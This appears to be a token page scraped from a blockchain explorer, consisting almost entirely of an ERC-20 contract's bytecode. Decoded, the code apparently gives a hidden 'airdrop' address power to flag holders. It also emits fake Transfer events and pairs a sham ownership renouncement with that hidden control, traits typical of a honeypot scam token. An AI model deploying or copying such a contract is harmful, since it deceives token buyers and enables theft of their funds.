000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061194257607f821691505b602082108103611955576119546118fe565b5b50919050565b7f5f61697264726f704164647265737320657272000000000000000000000000005f82015250565b5f61198f6013836113b2565b915061199a8261195b565b602082019050919050565b5f6020820190508181035f8301526119bc81611983565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611a4a6026836113b2565b9150611a55826119f0565b604082019050919050565b5f6020820190508181035f830152611a7781611a3e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611ad86024836113b2565b9150611ae382611a7e565b604082019050919050565b5f6020820190508181035f830152611b0581611acc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611b666022836113b2565b9150611b7182611b0c565b604082019050919050565b5f6020820190508181035f830152611b9381611b5a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611bce601d836113b2565b9150611bd982611b9a565b602082019050919050565b5f6020820190508181035f830152611bfb81611bc2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611c5c6025836113b2565b9150611c6782611c02565b604082019050919050565b5f6020820190508181035f830152611c8981611c50565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611cea6023836113b2565b9150611cf582611c90565b604082019050919050565b5f6020820190508181035f830152611d1781611cde565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611d786026836113b2565b9150611d8382611d1e565b604082019050919050565b5f6020820190508181035f830152611da581611d6c565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611de06020836113b2565b9150611deb82611dac565b602082019050919050565b5f6020820190508181035f830152611e0d81611dd4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611e4b826114a3565b9150611e56836114a3565b925082611e6657611e65611e14565b5b82820490509291505056fea26469706673582212206950cf411ac1b4e67648bf9c53c5ca039c18f577f4ffd31c20223bd65b1432ea64736f6c634300081c0033

Deployed Bytecode

0x608060405234801561000f575f5ffd5b506004361061012a575f3560e01c8063715018a6116100ab578063beabacc81161006f578063beabacc81461031c578063ca72a4e714610338578063dd62ed3e14610354578063e2f4560514610384578063f2fde38b146103a25761012a565b8063715018a61461028a5780638da5cb5b1461029457806395d89b41146102b2578063a9059cbb146102d0578063b18834aa146103005761012a565b806326ededb8116100f257806326ededb8146101e6578063313ce56714610202578063321bef231461022057806349bd5a5e1461023c57806370a082311461025a5761012a565b806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c5780632349e24a1461019a57806323b872dd146101b6575b5f5ffd5b6101366103be565b6040516101439190611418565b60405180910390f35b610166600480360381019061016191906114d6565b61044e565b604051610173919061152e565b60405180910390f35b610184610470565b6040516101919190611556565b60405180910390f35b6101b460048036038101906101af91906116d9565b610479565b005b6101d060048036038101906101cb9190611733565b610659565b6040516101dd919061152e565b60405180910390f35b61020060048036038101906101fb91906117dc565b610687565b005b61020a610757565b6040516102179190611854565b60405180910390f35b61023a600480360381019061023591906117dc565b61075f565b005b61024461082f565b604051610251919061187c565b60405180910390f35b610274600480360381019061026f9190611895565b610854565b6040516102819190611556565b60405180910390f35b61029261089a565b005b61029c6108ad565b6040516102a9919061187c565b60405180910390f35b6102ba6108d4565b6040516102c79190611418565b60405180910390f35b6102ea60048036038101906102e591906114d6565b610964565b6040516102f7919061152e565b60405180910390f35b61031a600480360381019061031591906117dc565b610986565b005b61033660048036038101906103319190611733565b610a56565b005b610352600480360381019061034d9190611895565b610ac0565b005b61036e600480360381019061036991906118c0565b610b13565b60405161037b9190611556565b60405180910390f35b61038c610b95565b6040516103999190611556565b60405180910390f35b6103bc60048036038101906103b79190611895565b610b9b565b005b6060600480546103cd9061192b565b80601f01602080910402602001604051908101604052809291908181526020018280546103f99061192b565b80156104445780601f1061041b57610100808354040283529160200191610444565b820191905f5260205f20905b81548152906001019060200180831161042757829003601f168201915b5050505050905090565b5f5f610458610c1d565b9050610465818585610c24565b600191505092915050565b5f600354905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ff906119a5565b60405180910390fd5b5f5f90505b825181101561065457600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838281518110610561576105606119c3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614806105ad57505f6105aa84838151811061059d5761059c6119c3565b5b6020026020010151610854565b11155b8061061e5750811515600a5f8584815181106105cc576105cb6119c3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515145b61064757610646838281518110610638576106376119c3565b5b602002602001015183610de7565b5b808060010191505061050d565b505050565b5f5f610663610c1d565b9050610670858285610e3f565b61067b858585610eca565b60019150509392505050565b5f5f90505b83839050811015610751578383828181106106aa576106a96119c3565b5b90506020020160208101906106bf9190611895565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073c9190611556565b60405180910390a3808060010191505061068c565b50505050565b5f6008905090565b5f5f90505b8383905081101561082957838382818110610782576107816119c3565b5b90506020020160208101906107979190611895565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108149190611556565b60405180910390a38080600101915050610764565b50505050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108a26111f2565b6108ab5f611270565b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546108e39061192b565b80601f016020809104026020016040519081016040528092919081815260200182805461090f9061192b565b801561095a5780601f106109315761010080835404028352916020019161095a565b820191905f5260205f20905b81548152906001019060200180831161093d57829003601f168201915b5050505050905090565b5f5f61096e610c1d565b905061097b818585610eca565b600191505092915050565b5f5f90505b83839050811015610a50578383828181106109a9576109a86119c3565b5b90506020020160208101906109be9190611895565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a3b9190611556565b60405180910390a3808060010191505061098b565b50505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ab39190611556565b60405180910390a3505050565b610ac86111f2565b80600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b1061089a565b50565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60095481565b610ba36111f2565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0890611a60565b60405180910390fd5b610c1a81611270565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990611aee565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf790611b7c565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dda9190611556565b60405180910390a3505050565b80600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f610e4a8484610b13565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ec45781811015610eb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ead90611be4565b60405180910390fd5b610ec38484848403610c24565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f90611c72565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9d90611d00565b60405180910390fd5b5f610fb030610854565b90505f6009548210159050808015610fd4575060085f9054906101000a900460ff16155b80156110265750600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561106857600160085f6101000a81548160ff02191690831515021790555061104e85611331565b5f60085f6101000a81548160ff0219169083151502179055505b5f60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050838110156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e390611d8e565b60405180910390fd5b83810360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516111d79190611556565b60405180910390a36111ea8686866113a3565b505050505050565b6111fa610c1d565b73ffffffffffffffffffffffffffffffffffffffff166112186108ad565b73ffffffffffffffffffffffffffffffffffffffff161461126e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126590611df6565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f61133b82610854565b90505f60019050600a8211156113515760065490505b808261135d9190611e41565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113ea826113a8565b6113f481856113b2565b93506114048185602086016113c2565b61140d816113d0565b840191505092915050565b5f6020820190508181035f83015261143081846113e0565b905092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61147282611449565b9050919050565b61148281611468565b811461148c575f5ffd5b50565b5f8135905061149d81611479565b92915050565b5f819050919050565b6114b5816114a3565b81146114bf575f5ffd5b50565b5f813590506114d0816114ac565b92915050565b5f5f604083850312156114ec576114eb611441565b5b5f6114f98582860161148f565b925050602061150a858286016114c2565b9150509250929050565b5f8115159050919050565b61152881611514565b82525050565b5f6020820190506115415f83018461151f565b92915050565b611550816114a3565b82525050565b5f6020820190506115695f830184611547565b92915050565b5f5ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6115a9826113d0565b810181811067ffffffffffffffff821117156115c8576115c7611573565b5b80604052505050565b5f6115da611438565b90506115e682826115a0565b919050565b5f67ffffffffffffffff82111561160557611604611573565b5b602082029050602081019050919050565b5f5ffd5b5f61162c611627846115eb565b6115d1565b9050808382526020820190506020840283018581111561164f5761164e611616565b5b835b818110156116785780611664888261148f565b845260208401935050602081019050611651565b5050509392505050565b5f82601f8301126116965761169561156f565b5b81356116a684826020860161161a565b91505092915050565b6116b881611514565b81146116c2575f5ffd5b50565b5f813590506116d3816116af565b92915050565b5f5f604083850312156116ef576116ee611441565b5b5f83013567ffffffffffffffff81111561170c5761170b611445565b5b61171885828601611682565b9250506020611729858286016116c5565b9150509250929050565b5f5f5f6060848603121561174a57611749611441565b5b5f6117578682870161148f565b93505060206117688682870161148f565b9250506040611779868287016114c2565b9150509250925092565b5f5ffd5b5f5f83601f84011261179c5761179b61156f565b5b8235905067ffffffffffffffff8111156117b9576117b8611783565b5b6020830191508360208202830111156117d5576117d4611616565b5b9250929050565b5f5f5f604084860312156117f3576117f2611441565b5b5f84013567ffffffffffffffff8111156118105761180f611445565b5b61181c86828701611787565b9350935050602061182f868287016114c2565b9150509250925092565b5f60ff82169050919050565b61184e81611839565b82525050565b5f6020820190506118675f830184611845565b92915050565b61187681611468565b82525050565b5f60208201905061188f5f83018461186d565b92915050565b5f602082840312156118aa576118a9611441565b5b5f6118b78482850161148f565b91505092915050565b5f5f604083850312156118d6576118d5611441565b5b5f6118e38582860161148f565b92505060206118f48582860161148f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061194257607f821691505b602082108103611955576119546118fe565b5b50919050565b7f5f61697264726f704164647265737320657272000000000000000000000000005f82015250565b5f61198f6013836113b2565b915061199a8261195b565b602082019050919050565b5f6020820190508181035f8301526119bc81611983565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611a4a6026836113b2565b9150611a55826119f0565b604082019050919050565b5f6020820190508181035f830152611a7781611a3e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611ad86024836113b2565b9150611ae382611a7e565b604082019050919050565b5f6020820190508181035f830152611b0581611acc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611b666022836113b2565b9150611b7182611b0c565b604082019050919050565b5f6020820190508181035f830152611b9381611b5a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611bce601d836113b2565b9150611bd982611b9a565b602082019050919050565b5f6020820190508181035f830152611bfb81611bc2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611c5c6025836113b2565b9150611c6782611c02565b604082019050919050565b5f6020820190508181035f830152611c8981611c50565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611cea6023836113b2565b9150611cf582611c90565b604082019050919050565b5f6020820190508181035f830152611d1781611cde565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611d786026836113b2565b9150611d8382611d1e565b604082019050919050565b5f6020820190508181035f830152611da581611d6c565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611de06020836113b2565b9150611deb82611dac565b602082019050919050565b5f6020820190508181035f830152611e0d81611dd4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611e4b826114a3565b9150611e56836114a3565b925082611e6657611e65611e14565b5b82820490509291505056fea26469706673582212206950cf411ac1b4e67648bf9c53c5ca039c18f577f4ffd31c20223bd65b1432ea64736f6c634300081c0033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.